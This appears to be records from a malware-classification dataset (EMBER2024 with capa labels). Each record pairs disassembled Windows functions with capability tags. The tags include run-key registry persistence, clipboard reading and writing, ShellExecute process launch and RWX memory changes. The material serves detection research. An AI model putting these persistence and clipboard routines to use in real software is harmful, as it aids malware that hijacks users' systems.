joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003c3c0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x268
test cl, 2
je 0x14003c40a
lea rdx, [rsp + 0xc0]
mov ecx, 0x202
call qword [sym.imp.WSOCK32.DLL_WSAStartup]
test eax, eax
jne 0x14003c3fd
movzx eax, word [rsp + 0xc0]
cmp al, 2
jne 0x14003c3f7
shr ax, 8
cmp al, 2
je 0x14003c40a
call qword [sym.imp.WSOCK32.DLL_WSACleanup]
mov eax, 2
add rsp, 0x268
ret
call fcn.140059380
test eax, eax
jne 0x14003c511
lea rcx, str.iphlpapi.dll
call fcn.14003c070
mov qword [0x1401e0d38], rax
test rax, rax
je 0x14003c454
lea rdx, str.if_nametoindex
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1401e0d30]
test rax, rax
cmovne rcx, rax
mov qword [0x1401e0d30], rcx
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x9c
call sub.msvcrt.dll_memset
mov r8b, 3
mov edx, 2
xor ecx, ecx
mov dword [rsp + 0x20], 0x9c
mov qword [rsp + 0x24], 6
mov dword [rsp + 0x30], 2
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 3
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 1
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea rcx, [rsp + 0x20]
mov edx, 0x33
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x14003c508
lea rcx, [0x1401e14a0]
mov byte [0x1401e14b0], 1
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor eax, eax
add rsp, 0x268
ret
mov byte [0x1401e14b0], 0
xor eax, eax
add rsp, 0x268
ret

Function at 0x14003c830
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x14003c88e
mov dl, 1
call fcn.14003df50
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov edx, ebx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.14003df50
mov eax, ebx
jmp 0x14003c8d2
cmp ebx, 2
ja 0x14003c8d0
mov r9, qword [rdi + 0x668]
lea rdx, [0x140081120]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.msvcrt.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.msvcrt.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140041910
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x1401e0eb0]
mov rbx, rcx
mov dword [rsp + 0x50], 0x4020
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x58], 4
test eax, eax
jne 0x14004196d
lea r9d, [rax + 3]
lea r8d, [rax + 2]
lea ecx, [rax + 6]
xor edx, edx
call fcn.14003c210
test al, al
je 0x140041961
mov dword [0x1401e0eb0], 2
add rsp, 0x30
pop rbx
ret
mov dword [0x1401e0eb0], 1
jmp 0x140041972
cmp eax, 2
je 0x1400419c4
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WSOCK32.DLL_getsockopt]
test eax, eax
jne 0x1400419a3
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x48], eax
jg 0x1400419c4
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.WSOCK32.DLL_setsockopt]
add rsp, 0x30
pop rbx
ret
Function at 0x14006b3d0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x1401e0ff0], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x1401e1000]
jne 0x14006b41d
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x1401e1028], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x1401e0ff0], 1
mov ecx, dword [0x1401e1028]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14006b4f2
mov rcx, qword [0x1401dfbc0]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14006b51d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401e0ff8]
test rax, rax
je 0x14006b46d
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x1401e0ff8], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x14006b538]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x1401e1028]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x1401dfbc0]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14006b51d
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00535ce0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00535cf0]
mov dword [rax], 1
mov rax, qword [0x00535d00]
mov dword [rax], 1
mov rax, qword [0x00535cd0]
mov dword [rax], 1
mov rax, qword [0x00535b80]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00535cc0]
mov dword [0x00569008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00535c80]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00535000]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401673
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
sete al
test al, al
je 0x401699
mov eax, 0
jmp 0x4016e3
mov byte [rbp - 1], 0
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
call rax
test eax, eax
je 0x4016c9
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
test rax, rax
je 0x4016c9
mov eax, 1
jmp 0x4016ce
mov eax, 0
test al, al
je 0x4016d6
mov byte [rbp - 1], 1
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
movzx eax, byte [rbp - 1]
add rsp, 0x30
pop rbp
ret
Function at 0x401a83
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
sete al
test al, al
je 0x401ab6
mov eax, 0
jmp 0x401b91
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rcx, qword [rbp - 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
jne 0x401afb
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 0
jmp 0x401b91
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x60], rax
cmp qword [rbp - 0x60], 0
je 0x401b73
mov rcx, qword [rbp - 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
lea rbx, [rax + 1]
mov rcx, qword [rbp - 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp - 0x60]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp - 0x58]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 1
jmp 0x401b91
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 0
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x4021f6
Capabilities:
Create directory

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x168
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x40], xmm6
movaps xmmword [rbp + 0x50], xmm7
movaps xmmword [rbp + 0x60], xmm8
movaps xmmword [rbp + 0x70], xmm9
movaps xmmword [rbp + 0x80], xmm10
movaps xmmword [rbp + 0x90], xmm11
movaps xmmword [rbp + 0xa0], xmm12
movaps xmmword [rbp + 0xb0], xmm13
movaps xmmword [rbp + 0xc0], xmm14
movaps xmmword [rbp + 0xd0], xmm15
mov qword [rbp + 0x130], rcx
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x30], rax
lea rax, [0x00553244]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x20]
lea rbx, [rbp + 0x40]
mov qword [rax], rbx
lea rdx, [0x0040234f]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg._Unwind_SjLj_Register
lea rax, [rbp + 0x3b]
mov rcx, rax
call fcn.0047a520
mov rcx, qword [rbp + 0x130]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x130]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rcx, rax
lea rdx, [rbp + 0x3b]
lea rax, [rbp + 0x10]
mov dword [rbp - 0x58], 1
mov r9, rdx
mov r8, qword [rbp + 8]
mov rdx, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp + 0x3b]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [rbp - 0x58], 2
call rax
test eax, eax
sete al
test al, al
je 0x402336
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x3c], eax
cmp dword [rbp + 0x3c], 0xb7
je 0x402336
mov byte [rbp + 8], 0
jmp 0x40233a
mov byte [rbp + 8], 1
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
movzx eax, byte [rbp + 8]
mov byte [rbp + 8], al
jmp 0x4023b0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
movzx eax, byte [rbp + 8]
movaps xmm6, xmmword [rbp + 0x40]
movaps xmm7, xmmword [rbp + 0x50]
movaps xmm8, xmmword [rbp + 0x60]
movaps xmm9, xmmword [rbp + 0x70]
movaps xmm10, xmmword [rbp + 0x80]
movaps xmm11, xmmword [rbp + 0x90]
movaps xmm12, xmmword [rbp + 0xa0]
movaps xmm13, xmmword [rbp + 0xb0]
movaps xmm14, xmmword [rbp + 0xc0]
movaps xmm15, xmmword [rbp + 0xd0]
add rsp, 0x168
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x402416
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
je 0x402451
mov eax, dword [rbp - 4]
and eax, 0x10
test eax, eax
je 0x402451
mov eax, 1
jmp 0x402456
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x40245c
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rsi
push rbx
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 8], rax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
setne al
test al, al
je 0x4024b5
mov eax, 0
jmp 0x40253d
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add rax, 1
lea ebx, [rax + rax]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rsi, rax
mov rcx, qword [rbp + 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x402528
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
jmp 0x40253d
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
add rsp, 0x40
pop rbx
pop rsi
pop rbp
ret

Function at 0x402545
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0x20
seta al
add rsp, 0x40
pop rbp
ret
Function at 0x40e4c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00569904]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x40e648
mov rax, qword [0x00569908]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40e50c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x40e595
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x40e4f0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40e67d
mov rax, qword [0x00569908]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00569908]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40e660
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40e58e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x40e5f0
add dword [0x00569904], 1
cmp edi, 8
jae 0x40e5c3
test dil, 4
jne 0x40e634
test edi, edi
je 0x40e5b8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40e64f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x40e5b8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40e5dc
jmp 0x40e5b8
add rsi, qword [0x00569908]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40e58e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40e5b8
xor esi, esi
jmp 0x40e517
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40e5b8
mov rax, qword [0x00569908]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x40edd0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00569be0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00569bc0]
test rbx, rbx
je 0x40ee24
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40ee1b
test rsi, rsi
je 0x40ee1b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40ee00
lea rcx, [0x00569be0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40f060
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x40f070
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x40f080
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40f0c1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x40f0b8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x40f0c3
add rax, 0x28
cmp rax, r9
jne 0x40f0a4
xor eax, eax
ret

Function at 0x40f160
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00535b80]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40f1cd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40f1cd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40f1cd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40f1c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40f1cf
add rax, 0x28
cmp rax, r9
jne 0x40f1b0
xor eax, eax
add rsp, 0x28
ret

Function at 0x40f2d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00535b80]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x40f2f0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40f2e8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40f34d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40f344
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40f354
add rax, 0x28
cmp rax, r9
jne 0x40f330
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x40f370
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00535b80]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40f3de
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40f3de
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40f3de
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40f3de
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x40f3d5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x40f3e5
add rcx, 0x28
cmp rcx, rax
jne 0x40f3c0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x40f3f8
jmp 0x40f3de
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x40f406
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40f3de
test r9d, r9d
jg 0x40f3f0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x41bc20
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x0052b168], eax
je 0x41bc3a
add rsp, 0x28
ret
call sym.abort
nop

Function at 0x41c140
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x41c163
call sym.pthread_spin_destroy
cmp eax, 1
je 0x41c16e
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
lea rbx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x41c1e5
mov eax, 0x28
jmp 0x41c1ca
add rax, 1
cmp rax, 0x6b
je 0x41c1d7
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x41c1c0
cmp eax, 0x6a
jne 0x41c1ea
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov edx, 0x27
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
jmp 0x41c1d7

Function at 0x41c290
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x0056a6e0], 1
je 0x41c2a6
call sym._pthread_once_raw.part.5.constprop.11
mov ecx, dword [0x0052b168]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x41c2d0
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rsi, rax
je 0x41c2ba
test rax, rax
je 0x41c2ba
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rcx, [rsi + 0x68]
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x30], rax
call sym.replace_spin_keys.constprop.10
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov r8, rbp
mov rdx, rdi
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41c3c0
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rdx, rsi
mov ecx, dword [0x0052b168]
mov dword [rsi + 0xbc], 0
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41c3c0
mov rbx, rsi
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.abort
nop
nop word cs:[rax + rax]